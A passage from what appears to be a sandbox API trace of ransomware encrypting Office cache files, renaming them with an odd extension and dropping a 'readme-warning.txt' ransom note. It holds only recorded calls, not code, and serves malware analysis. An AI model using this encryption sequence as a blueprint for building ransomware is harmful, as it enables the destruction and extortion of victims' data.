dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.903] GetProcessHeap () returned 0x2ef0000 [0150.903] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0150.903] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0150.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0150.903] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0150.903] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0150.903] GetProcessHeap () returned 0x2ef0000 [0150.903] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0150.903] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0150.903] CryptDestroyKey (hKey=0x2f18248) returned 1 [0150.903] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0151.009] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0151.010] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0151.010] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0151.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0151.010] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0151.010] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0151.010] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.010] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd5c00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd5c00, lpOverlapped=0x0) returned 1 [0151.044] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd5c00, dwBufLen=0xd5c00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd5c00) returned 1 [0151.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.285] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd5c00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd5c00, lpOverlapped=0x0) returned 1 [0151.289] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.289] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd5cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.289] SetEndOfFile (hFile=0xf0) returned 1 [0151.292] GetProcessHeap () returned 0x2ef0000 [0151.292] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0151.292] GetProcessHeap () returned 0x2ef0000 [0151.292] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0151.292] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.kjhslgjkjdfg")) returned 1 [0151.293] CloseHandle (hObject=0xf0) returned 1 [0151.303] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0151.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.304] GetProcessHeap () returned 0x2ef0000 [0151.304] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0151.304] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0151.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0151.304] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0151.311] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0151.311] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.311] GetProcessHeap () returned 0x2ef0000 [0151.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0151.311] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0151.311] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.311] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0151.311] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0151.311] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0151.311] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0151.311] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0151.311] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0151.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0151.312] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.312] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.312] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x543, lpOverlapped=0x0) returned 1 [0151.312] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x550, dwBufLen=0x550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x550) returned 1 [0151.312] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.312] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x550, lpOverlapped=0x0) returned 1 [0151.312] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.312] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.312] SetEndOfFile (hFile=0xf0) returned 1 [0151.316] GetProcessHeap () returned 0x2ef0000 [0151.316] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0151.316] GetProcessHeap () returned 0x2ef0000 [0151.316] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0151.316] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.kjhslgjkjdfg")) returned 1 [0151.319] CloseHandle (hObject=0xf0) returned 1 [0151.319] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0151.319] GetProcessHeap () returned 0x2ef0000 [0151.319] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0151.319] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.319] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0151.319] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.319] GetProcessHeap () returned 0x2ef0000 [0151.319] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0151.319] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.319] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0151.319] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.319] GetProcessHeap () returned 0x2ef0000 [0151.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3e278 [0151.320] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.320] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3e278, pdwDataLen=0x4dff0a8 | out: pbData=0x2f3e278, pdwDataLen=0x4dff0a8) returned 1 [0151.320] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.320] GetProcessHeap () returned 0x2ef0000 [0151.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0151.320] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.320] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0151.320] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.320] GetProcessHeap () returned 0x2ef0000 [0151.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0151.320] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.320] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfec88 | out: pbData=0x2f11778, pdwDataLen=0x4dfec88) returned 1 [0151.320] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.320] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0151.320] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0151.321] RegCloseKey (hKey=0xf0) returned 0x0 [0151.321] GetProcessHeap () returned 0x2ef0000 [0151.321] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0151.321] GetProcessHeap () returned 0x2ef0000 [0151.321] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0151.321] GetProcessHeap () returned 0x2ef0000 [0151.321] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0151.321] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.321] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfea5c | out: pbData=0x2f11778, pdwDataLen=0x4dfea5c) returned 1 [0151.321] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.321] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.321] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.321] GetProcessHeap () returned 0x2ef0000 [0151.321] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0151.321] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.321] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.322] GetProcessHeap () returned 0x2ef0000 [0151.322] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e640 [0151.322] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\readme-warning.txt") returned 90 [0151.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.323] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3e640*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3e640*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0151.325] CloseHandle (hObject=0xf0) returned 1 [0151.325] GetProcessHeap () returned 0x2ef0000 [0151.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0151.325] GetProcessHeap () returned 0x2ef0000 [0151.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e640 | out: hHeap=0x2ef0000) returned 1 [0151.325] GetProcessHeap () returned 0x2ef0000 [0151.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0151.325] GetProcessHeap () returned 0x2ef0000 [0151.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0151.325] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0151.325] GetProcessHeap () returned 0x2ef0000 [0151.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e70 | out: hHeap=0x2ef0000) returned 1 [0151.325] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0151.325] GetProcessHeap () returned 0x2ef0000 [0151.325] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f14588 [0151.325] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0151.326] GetProcessHeap () returned 0x2ef0000 [0151.326] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0151.326] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.326] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0151.326] GetProcessHeap () returned 0x2ef0000 [0151.326] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a2) returned 0x2f16e70 [0151.326] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.335] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x4dff280 | out: lpFileSize=0x4dff280*=13642474) returned 1 [0151.335] GetProcessHeap () returned 0x2ef0000 [0151.335] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0151.335] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0151.335] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.335] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff26c*=0x6, lpOverlapped=0x0) returned 1 [0151.338] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0151.338] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.338] GetProcessHeap () returned 0x2ef0000 [0151.338] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0151.338] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30) returned 1 [0151.338] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.338] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff26c*=0x30, lpOverlapped=0x0) returned 1 [0151.338] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff274*, lpNumberOfBytesWritten=0x4dff26c*=0x4, lpOverlapped=0x0) returned 1 [0151.338] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff26c*=0x10, lpOverlapped=0x0) returned 1 [0151.338] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff26c*=0x80, lpOverlapped=0x0) returned 1 [0151.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0151.338] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff26c*=0x8, lpOverlapped=0x0) returned 1 [0151.338] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 